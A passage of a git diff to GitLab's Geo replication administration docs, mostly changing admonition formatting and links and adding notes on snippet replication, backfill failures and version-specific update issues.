- Geo **secondary** nodes can not be configured to [use high-availability configurations of PostgreSQL](https://gitlab.com/groups/gitlab-org/-/epics/2536).
diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md
index 43a422c4bc3..42501e16f5f 100644
--- a/doc/administration/geo/replication/configuration.md
+++ b/doc/administration/geo/replication/configuration.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -9,7 +9,7 @@ type: howto
## Configuring a new **secondary** node
-NOTE: **Note:**
+NOTE:
This is the final step in setting up a **secondary** Geo node. Stages of the
setup process must be completed in the documented order.
Before attempting the steps in this stage, [complete all prior stages](../setup/index.md#using-omnibus-gitlab).
@@ -23,7 +23,7 @@ The basic steps of configuring a **secondary** node are to:
You are encouraged to first read through all the steps before executing them
in your testing/production environment.
-NOTE: **Note:**
+NOTE:
**Do not** set up any custom authentication for the **secondary** nodes. This will be handled by the **primary** node.
Any change that requires access to the **Admin Area** needs to be done in the
**primary** node because the **secondary** node is a read-only replica.
@@ -157,7 +157,7 @@ keys must be manually replicated to the **secondary** node.
for file in /etc/ssh/ssh_host_*_key.pub; do ssh-keygen -lf $file; done
```
- NOTE: **Note:**
+ NOTE:
The output for private keys and public keys command should generate the same fingerprint.
1. Restart `sshd` on your **secondary** node:
diff --git a/doc/administration/geo/replication/database.md b/doc/administration/geo/replication/database.md
index da5376190b9..099a73e93d8 100644
--- a/doc/administration/geo/replication/database.md
+++ b/doc/administration/geo/replication/database.md
@@ -3,3 +3,6 @@ redirect_to: '../setup/database.md'
---
This document was moved to [another location](../setup/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md
index 9e896f2c07c..0d2922c3347 100644
--- a/doc/administration/geo/replication/datatypes.md
+++ b/doc/administration/geo/replication/datatypes.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -28,13 +28,13 @@ verification methods:
| Database | Application data in PostgreSQL | Native | Native |
| Database | Redis | _N/A_ (*1*) | _N/A_ |
| Database | Elasticsearch | Native | Native |
-| Database | Personal snippets | PostgreSQL Replication | PostgreSQL Replication |
-| Database | Project snippets | PostgreSQL Replication | PostgreSQL Replication |
| Database | SSH public keys | PostgreSQL Replication | PostgreSQL Replication |
| Git | Project repository | Geo with Gitaly | Gitaly Checksum |
| Git | Project wiki repository | Geo with Gitaly | Gitaly Checksum |
| Git | Project designs repository | Geo with Gitaly | Gitaly Checksum |
| Git | Object pools for forked project deduplication | Geo with Gitaly | _Not implemented_ |
+| Git | Project Snippets | Geo with Gitaly | _Not implemented_ |
+| Git | Personal Snippets | Geo with Gitaly | _Not implemented_ |
| Blobs | User uploads _(filesystem)_ | Geo with API | _Not implemented_ |
| Blobs | User uploads _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
| Blobs | LFS objects _(filesystem)_ | Geo with API | _Not implemented_ |
@@ -81,6 +81,9 @@ Each project can have at most 3 different repositories:
They all live in the same shard and share the same base name with a `-wiki` and `-design` suffix
for Wiki and Design Repository cases.
+Besides that, there are snippet repositories. They can be connected to a project or to some specific user.
+Both types will be synced to a secondary node.
+
### Blobs
GitLab stores files and blobs such as Issue attachments or LFS objects into either:
@@ -160,7 +163,7 @@ To enable, such as for package file replication:
Feature.enable(:geo_package_file_replication)
```
-DANGER: **Warning:**
+WARNING:
Features not on this list, or with **No** in the **Replicated** column,
are not replicated on the **secondary** node. Failing over without manually
replicating data from those features will cause the data to be **lost**.
@@ -192,7 +195,7 @@ successfully, you must replicate their data using some other means.
| [Generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default |
| [Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_terraform_state_version_replication`, enabled by default |
| [External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_merge_request_diff_replication`, enabled by default |
-| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | |
+| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | |
| [Server-side Git hooks](../../server_hooks.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | |
| [Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | |
| [GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | No | |
diff --git a/doc/administration/geo/replication/disable_geo.md b/doc/administration/geo/replication/disable_geo.md
index dabf4499f9d..e8767a56266 100644
--- a/doc/administration/geo/replication/disable_geo.md
+++ b/doc/administration/geo/replication/disable_geo.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/administration/geo/replication/docker_registry.md b/doc/administration/geo/replication/docker_registry.md
index 5403edc69da..f92a878662e 100644
--- a/doc/administration/geo/replication/docker_registry.md
+++ b/doc/administration/geo/replication/docker_registry.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -17,7 +17,7 @@ distributed storage (`azure`, `gcs`, `s3`, `swift`, or `oss`) for your Docker
Registry on the **primary** node, you can use the same storage for a **secondary**
Docker Registry as well. For more information, read the
[Load balancing considerations](https://docs.docker.com/registry/deploying/#load-balancing-considerations)
-when deploying the Registry, and how to set up the storage driver for GitLab's
+when deploying the Registry, and how to set up the storage driver for the GitLab
integrated [Container Registry](../../packages/container_registry.md#use-object-storage).
## Replicating Docker Registry
@@ -64,17 +64,17 @@ We need to make Docker Registry send notification events to the
]
```
- NOTE: **Note:**
+ NOTE:
Replace `<replace_with_a_secret_token>` with a case sensitive alphanumeric string
that starts with a letter. You can generate one with `< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c 32 | sed "s/^[0-9]*//"; echo`
- NOTE: **Note:**
+ NOTE:
If you use an external Registry (not the one integrated with GitLab), you must add
these settings to its configuration yourself. In this case, you will also have to specify
notification secret in `registry.notification_secret` section of
`/etc/gitlab/gitlab.rb` file.
- NOTE: **Note:**
+ NOTE:
If you use GitLab HA, you will also have to specify
the notification secret in `registry.notification_secret` section of
`/etc/gitlab/gitlab.rb` file for every web node.
diff --git a/doc/administration/geo/replication/external_database.md b/doc/administration/geo/replication/external_database.md
index 0d0cd8a37d5..dfaf6819fa0 100644
--- a/doc/administration/geo/replication/external_database.md
+++ b/doc/administration/geo/replication/external_database.md
@@ -3,3 +3,6 @@ redirect_to: '../setup/external_database.md'
---
This document was moved to [another location](../setup/external_database.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/geo/replication/faq.md b/doc/administration/geo/replication/faq.md
index f7f391b360e..ab8199c3717 100644
--- a/doc/administration/geo/replication/faq.md
+++ b/doc/administration/geo/replication/faq.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/administration/geo/replication/geo_validation_tests.md b/doc/administration/geo/replication/geo_validation_tests.md
index c28688930b5..2d701458e66 100644
--- a/doc/administration/geo/replication/geo_validation_tests.md
+++ b/doc/administration/geo/replication/geo_validation_tests.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/administration/geo/replication/high_availability.md b/doc/administration/geo/replication/high_availability.md
index 214f15b7565..1da4246db1f 100644
--- a/doc/administration/geo/replication/high_availability.md
+++ b/doc/administration/geo/replication/high_availability.md
@@ -3,3 +3,6 @@ redirect_to: 'multiple_servers.md'
---
This document was moved to [another location](multiple_servers.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/geo/replication/img/geo_node_dashboard.png b/doc/administration/geo/replication/img/geo_node_dashboard.png
index 53ca4767c5b..8b9aceba825 100644
--- a/doc/administration/geo/replication/img/geo_node_dashboard.png
+++ b/doc/administration/geo/replication/img/geo_node_dashboard.png
Binary files differ
diff --git a/doc/administration/geo/replication/img/geo_node_healthcheck.png b/doc/administration/geo/replication/img/geo_node_healthcheck.png
deleted file mode 100644
index 33a31f7ab49..00000000000
--- a/doc/administration/geo/replication/img/geo_node_healthcheck.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/geo/replication/index.md b/doc/administration/geo/replication/index.md
index 5e9dd73ecc5..955e05491d2 100644
--- a/doc/administration/geo/replication/index.md
+++ b/doc/administration/geo/replication/index.md
@@ -3,3 +3,6 @@ redirect_to: '../index.md'
---
This document was moved to [another location](../index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/geo/replication/location_aware_git_url.md b/doc/administration/geo/replication/location_aware_git_url.md
index 82fda8b0fc2..f2cf8c9bda0 100644
--- a/doc/administration/geo/replication/location_aware_git_url.md
+++ b/doc/administration/geo/replication/location_aware_git_url.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -18,7 +18,7 @@ Though these instructions use [AWS Route53](https://aws.amazon.com/route53/),
other services such as [Cloudflare](https://www.cloudflare.com/) could be used
as well.
-NOTE: **Note:**
+NOTE:
You can also use a load balancer to distribute web UI or API traffic to
[multiple Geo **secondary** nodes](../../../user/admin_area/geo_nodes.md#multiple-secondary-nodes-behind-a-load-balancer).
Importantly, the **primary** node cannot yet be included. See the feature request
diff --git a/doc/administration/geo/replication/multiple_servers.md b/doc/administration/geo/replication/multiple_servers.md
index 7d65d2165c5..0ab972c9077 100644
--- a/doc/administration/geo/replication/multiple_servers.md
+++ b/doc/administration/geo/replication/multiple_servers.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -27,7 +27,7 @@ network topology of your deployment.
The only external way to access the two Geo deployments is by HTTPS at
`gitlab.us.example.com` and `gitlab.eu.example.com` in the example above.
-NOTE: **Note:**
+NOTE:
The **primary** and **secondary** Geo deployments must be able to communicate to each other over HTTPS.
## Redis and PostgreSQL for multiple nodes
@@ -37,7 +37,7 @@ Geo supports:
- Redis and PostgreSQL on the **primary** node configured for multiple nodes.
- Redis on **secondary** nodes configured for multiple nodes.
-NOTE: **Note:**
+NOTE:
Support for PostgreSQL on **secondary** nodes in multi-node configuration
[is planned](https://gitlab.com/groups/gitlab-org/-/epics/2536).
@@ -48,7 +48,7 @@ For more information about setting up a multi-node PostgreSQL cluster and Redis
[PostgreSQL](../../postgresql/replication_and_failover.md) and
[Redis](../../redis/replication_and_failover.md), respectively.
-NOTE: **Note:**
+NOTE:
It is possible to use cloud hosted services for PostgreSQL and Redis, but this is beyond the scope of this document.
## Prerequisites: Two working GitLab multi-node clusters
@@ -90,7 +90,7 @@ The following steps enable a GitLab cluster to serve as the **primary** node.
After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect.
-NOTE: **Note:**
+NOTE:
PostgreSQL and Redis should have already been disabled on the
application servers, and connections from the application servers to those
services on the backend servers configured, during normal GitLab multi-node set up. See
@@ -136,13 +136,13 @@ documentation:
- [Gitaly](../../gitaly/index.md), which will store data that is
synchronized from the **primary** node.
-NOTE: **Note:**
+NOTE:
[NFS](../../nfs.md) can be used in place of Gitaly but is not
recommended.
### Step 2: Configure the main read-only replica PostgreSQL database on the **secondary** node
-NOTE: **Note:**
+NOTE:
The following documentation assumes the database will be run on
a single node only. Multi-node PostgreSQL on **secondary** nodes is
[not currently supported](https://gitlab.com/groups/gitlab-org/-/epics/2536).
@@ -174,6 +174,12 @@ the **primary** database. Use the following as a guide.
roles ['geo_secondary_role', 'postgres_role']
##
+ ## The unique identifier for the Geo node.
+ ## This should match the secondary's application node.
+ ##
+ gitlab_rails['geo_node_name'] = '<node_name_here>'
+
+ ##
## Secondary address
## - replace '<secondary_node_ip>' with the public or VPC address of your Geo secondary node
## - replace '<tracking_database_ip>' with the public or VPC address of your Geo tracking database node
@@ -226,7 +232,7 @@ If using an external PostgreSQL instance, refer also to
### Step 3: Configure the tracking database on the **secondary** node
-NOTE: **Note:**
+NOTE:
This documentation assumes the tracking database will be run on
only a single machine, rather than as a PostgreSQL cluster.
@@ -359,14 +365,14 @@ then make the following modifications:
registry['gid'] = 9002
```
-NOTE: **Note:**
+NOTE:
If you had set up PostgreSQL cluster using the omnibus package and you had set
up `postgresql['sql_user_password'] = 'md5 digest of secret'` setting, keep in
mind that `gitlab_rails['db_password']` and `geo_secondary['db_password']`
mentioned above contains the plaintext passwords. This is used to let the Rails
servers connect to the databases.
-NOTE: **Note:**
+NOTE:
Make sure that current node IP is listed in `postgresql['md5_auth_cidr_addresses']` setting of your remote database.
After making these changes [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect.
diff --git a/doc/administration/geo/replication/object_storage.md b/doc/administration/geo/replication/object_storage.md
index 3f5ba1939b8..ce791d66b34 100644
--- a/doc/administration/geo/replication/object_storage.md
+++ b/doc/administration/geo/replication/object_storage.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -25,7 +25,7 @@ To have:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10586) in GitLab 12.4.
-CAUTION: **Caution:**
+WARNING:
This is a [**beta** feature](https://about.gitlab.com/handbook/product/#beta) and is not ready yet for production use at any scale. The main limitations are a lack of testing at scale and no verification of any replicated data.
**Secondary** nodes can replicate files stored on the **primary** node regardless of
@@ -35,8 +35,8 @@ To enable GitLab replication, you must:
1. Go to **Admin Area > Geo**.
1. Press **Edit** on the **secondary** node.
-1. Enable the **Allow this secondary node to replicate content on Object Storage**
- checkbox.
+1. In the **Synchronization Settings** section, find the **Allow this secondary node to replicate content on Object Storage**
+ checkbox to enable it.
For LFS, follow the documentation to
[set up LFS object storage](../../lfs/index.md#storing-lfs-objects-in-remote-object-storage).
diff --git a/doc/administration/geo/replication/remove_geo_node.md b/doc/administration/geo/replication/remove_geo_node.md
index 2b01231241c..519b93b447b 100644
--- a/doc/administration/geo/replication/remove_geo_node.md
+++ b/doc/administration/geo/replication/remove_geo_node.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -42,7 +42,7 @@ Once GitLab has been uninstalled from the **secondary** node, the replication sl
sudo gitlab-psql
```
- NOTE: **Note:**
+ NOTE:
Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions.
1. Find the name of the relevant replication slot. This is the slot that is specified with `--slot-name` when running the replicate command: `gitlab-ctl replicate-geo-database`.
diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md
index 28b8c8a9d51..7c15662340c 100644
--- a/doc/administration/geo/replication/security_review.md
+++ b/doc/administration/geo/replication/security_review.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -33,7 +33,7 @@ from [owasp.org](https://owasp.org/).
### How can the data be classified into categories according to its sensitivity?
-- GitLab’s model of sensitivity is centered around public vs. internal vs.
+- The GitLab model of sensitivity is centered around public vs. internal vs.
private projects. Geo replicates them all indiscriminately. “Selective syncâ€
exists for files and repositories (but not database content), which would permit
only less-sensitive projects to be replicated to a **secondary** node if desired.
diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md
index 15e3d3ff0a8..2c0160ed02a 100644
--- a/doc/administration/geo/replication/troubleshooting.md
+++ b/doc/administration/geo/replication/troubleshooting.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -35,7 +35,7 @@ to help identify if something is wrong:
- Is the node's secondary tracking database connected?
- Is the node's secondary tracking database up-to-date?
-![Geo health check](img/geo_node_healthcheck.png)
+![Geo health check](img/geo_node_dashboard.png)
For information on how to resolve common errors reported from the UI, see
[Fixing Common Errors](#fixing-common-errors).
@@ -308,7 +308,8 @@ log data to build up in `pg_xlog`. Removing the unused slots can reduce the amou
sudo gitlab-psql
```
- Note: **Note:** Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions.
+ NOTE:
+ Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions.
1. View your replication slots with:
@@ -425,6 +426,11 @@ GitLab you are running. GitLab versions 11.11.x or 12.0.x are affected by
To resolve the issue, upgrade to GitLab 12.1 or newer.
+### Failures during backfill
+
+During a [backfill](../index.md#backfill), failures are scheduled to be retried at the end
+of the backfill queue, therefore these failures only clear up **after** the backfill completes.
+
### Resetting Geo **secondary** node replication
If you get a **secondary** node in a broken state and want to reset the replication state,
@@ -461,13 +467,13 @@ to start again from scratch, there are a few steps that can help you:
chown git:git /var/opt/gitlab/git-data/repositories
```
- TIP: **Tip:**
+ NOTE:
You may want to remove the `/var/opt/gitlab/git-data/repositories.old` in the future
as soon as you confirmed that you don't need it anymore, to save disk space.
1. _(Optional)_ Rename other data folders and create new ones
- CAUTION: **Caution:**
+ WARNING:
You may still have files on the **secondary** node that have been removed from **primary** node but
removal have not been reflected. If you skip this step, they will never be removed
from this Geo node.
diff --git a/doc/administration/geo/replication/tuning.md b/doc/administration/geo/replication/tuning.md
index fe0b189863c..183180e5ade 100644
--- a/doc/administration/geo/replication/tuning.md
+++ b/doc/administration/geo/replication/tuning.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/administration/geo/replication/updating_the_geo_nodes.md b/doc/administration/geo/replication/updating_the_geo_nodes.md
index af59e45250c..ff3a1e8689b 100644
--- a/doc/administration/geo/replication/updating_the_geo_nodes.md
+++ b/doc/administration/geo/replication/updating_the_geo_nodes.md
@@ -1,13 +1,13 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
# Updating the Geo nodes **(PREMIUM ONLY)**
-CAUTION: **Warning:**
+WARNING:
Read these sections carefully before updating your Geo nodes. Not following
version-specific update steps may result in unexpected downtime. If you have
any specific questions, [contact Support](https://about.gitlab.com/support/#contact-support).
@@ -20,7 +20,7 @@ Updating Geo nodes involves performing:
## General update steps
-NOTE: **Note:**
+NOTE:
These general update steps are not intended for [high-availability deployments](https://docs.gitlab.com/omnibus/update/README.html#multi-node--ha-deployment), and will cause downtime. If you want to avoid downtime, consider using [zero downtime updates](https://docs.gitlab.com/omnibus/update/README.html#zero-downtime-updates).
To update the Geo nodes when a new GitLab version is released, update **primary**
diff --git a/doc/administration/geo/replication/using_a_geo_server.md b/doc/administration/geo/replication/using_a_geo_server.md
index aeed5a44b30..743b1b384db 100644
--- a/doc/administration/geo/replication/using_a_geo_server.md
+++ b/doc/administration/geo/replication/using_a_geo_server.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md
index 9ea5283812e..0d8eba555ab 100644
--- a/doc/administration/geo/replication/version_specific_updates.md
+++ b/doc/administration/geo/replication/version_specific_updates.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -11,6 +11,10 @@ Check this document if it includes instructions for the version you are updating
These steps go together with the [general steps](updating_the_geo_nodes.md#general-update-steps)
for updating Geo nodes.
+## Updating to GitLab 13.5
+
+In GitLab 13.5, there is a [regression that prevents viewing a list of container repositories and registries](https://gitlab.com/gitlab-org/gitlab/-/issues/285475) on Geo secondaries. This issue is fixed in GitLab 13.6.1 and later.
+
## Updating to GitLab 13.3
In GitLab 13.3, Geo removed the PostgreSQL [Foreign Data Wrapper](https://www.postgresql.org/docs/11/postgres-fdw.html) dependency for the tracking database.
@@ -24,7 +28,7 @@ DROP SERVER gitlab_secondary CASCADE;
DROP EXTENSION IF EXISTS postgres_fdw;
```
-DANGER: **Warning:**
+WARNING:
In GitLab 13.3, promoting a secondary node to a primary while the secondary is
paused fails. Do not pause replication before promoting a secondary. If the
node is paused, be sure to resume before promoting. To avoid this issue,
@@ -50,7 +54,7 @@ the recommended procedure, see the
## Updating to GitLab 12.9
-CAUTION: **Warning:**
+WARNING:
GitLab 12.9.0 through GitLab 12.9.3 are affected by [a bug that stops
repository verification](https://gitlab.com/gitlab-org/gitlab/-/issues/213523).
The issue is fixed in GitLab 12.9.4. Upgrade to GitLab 12.9.4 or later.
@@ -81,7 +85,7 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade
## Updating to GitLab 12.7
-DANGER: **Warning:**
+WARNING:
Only upgrade to GitLab 12.7.5 or later. Do not upgrade to versions 12.7.0
through 12.7.4 because there is [an initialization order
bug](https://gitlab.com/gitlab-org/gitlab/-/issues/199672) that causes Geo
@@ -141,7 +145,7 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade
## Updating to GitLab 12.3
-DANGER: **Warning:**
+WARNING:
If the existing PostgreSQL server version is 9.6.x, it is recommended to
upgrade to GitLab 12.4 or later. By default, GitLab 12.3 attempts to update the
embedded PostgreSQL server from 9.6 to 10.9. In certain circumstances, it will
@@ -155,7 +159,7 @@ For the recommended procedure, see the
## Updating to GitLab 12.2
-DANGER: **Warning:**
+WARNING:
If the existing PostgreSQL server version is 9.6.x, it is recommended to
upgrade to GitLab 12.4 or later. By default, GitLab 12.2 attempts to update the
embedded PostgreSQL server from 9.6 to 10.9. In certain circumstances, it will
@@ -185,7 +189,7 @@ The restart avoids a version mismatch when PostgreSQL tries to load the FDW exte
## Updating to GitLab 12.1
-DANGER: **Warning:**
+WARNING:
If the existing PostgreSQL server version is 9.6.x, it is recommended to
upgrade to GitLab 12.4 or later. By default, GitLab 12.1 attempts to update the
embedded PostgreSQL server from 9.6 to 10.9. In certain circumstances, it will
@@ -199,14 +203,14 @@ For the recommended procedure, see the
## Updating to GitLab 12.0
-CAUTION: **Warning:**
+WARNING:
This version is affected by a [bug that results in new LFS objects not being
replicated to Geo secondary nodes](https://gitlab.com/gitlab-org/gitlab/-/issues/32696).
The issue is fixed in GitLab 12.1; be sure to upgrade to GitLab 12.1 or later.
## Updating to GitLab 11.11
-CAUTION: **Warning:**
+WARNING:
This version is affected by a [bug that results in new LFS objects not being
replicated to Geo secondary nodes](https://gitlab.com/gitlab-org/gitlab/-/issues/32696).
The issue is fixed in GitLab 12.1; be sure to upgrade to GitLab 12.1 or later.
@@ -372,7 +376,7 @@ the now-unused SSH keys from your secondaries, as they may cause problems if the
### Hashed Storage
-CAUTION: **Warning:**
+WARNING:
Hashed storage is in **Alpha**. It is considered experimental and not
production-ready. See [Hashed Storage](../../repository_storage_types.md) for more detail.
@@ -383,7 +387,7 @@ migrated we recommend leaving Hashed Storage enabled.
## Updating to GitLab 10.1
-CAUTION: **Warning:**
+WARNING:
Hashed storage is in **Alpha**. It is considered experimental and not
production-ready. See [Hashed Storage](../../repository_storage_types.md) for more detail.
diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md
index 24e55d26997..9778e08a30b 100644
--- a/doc/administration/geo/setup/database.md
+++ b/doc/administration/geo/setup/database.md
@@ -1,19 +1,19 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
# Geo database replication **(PREMIUM ONLY)**
-NOTE: **Note:**
+NOTE:
If your GitLab installation uses external (not managed by Omnibus) PostgreSQL
instances, the Omnibus roles will not be able to perform all necessary
configuration steps. In this case,
[follow the Geo with external PostgreSQL instances document instead](external_database.md).
-NOTE: **Note:**
+NOTE:
The stages of the setup process must be completed in the documented order.
Before attempting the steps in this stage, [complete all prior stages](../setup/index.md#using-omnibus-gitlab).
@@ -44,7 +44,7 @@ The following guide assumes that:
you have a new **secondary** server set up with the same versions of the OS,
PostgreSQL, and GitLab on all nodes.
-CAUTION: **Warning:**
+WARNING:
Geo works with streaming replication. Logical replication is not supported at this time.
There is an [issue where support is being discussed](https://gitlab.com/gitlab-org/gitlab/-/issues/7420).
@@ -79,7 +79,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
1. GitLab 10.4 and up only: Do the following to make sure the `gitlab` database user has a password defined:
- NOTE: **Note:**
+ NOTE:
Until FDW settings are removed in GitLab version 14.0, avoid using single or double quotes in the
password for PostgreSQL as that will lead to errors when reconfiguring.
@@ -134,7 +134,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
connect to the **primary** node's database. For this reason, we need the address of
each node.
- NOTE: **Note:**
+ NOTE:
For external PostgreSQL instances, see [additional instructions](external_database.md).
If you are using a cloud provider, you can lookup the addresses for each
@@ -151,7 +151,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
##
## Public address
##
- echo "External address: $(curl --silent ipinfo.io/ip)"
+ echo "External address: $(curl --silent "ipinfo.io/ip")"
```
In most cases, the following addresses will be used to configure GitLab
